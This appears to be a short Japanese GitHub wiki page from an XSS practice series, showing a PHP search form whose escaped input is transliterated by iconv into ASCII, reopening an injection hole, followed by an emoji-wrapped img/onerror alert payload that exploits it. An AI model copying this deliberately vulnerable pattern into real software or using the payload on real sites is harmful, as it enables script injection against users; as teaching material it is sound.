クロスサイトスクリプティング 11 - yujitounai/helloworld GitHub Wiki
Unicodeのコード変換でバグがあるXSS
<div class="box">
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
</div>
<?php
$word=htmlspecialchars(filter_input(INPUT_GET, 'word'), ENT_QUOTES, 'UTF-8');
$word = iconv("Windows-1252", "UTF-8", $word);
$word = iconv("UTF-8", "ASCII//TRANSLIT", $word);
echo "<h1>".$word."</h1>";
?>
💋img%20src=x%20onerror=alert(document.domain)//💛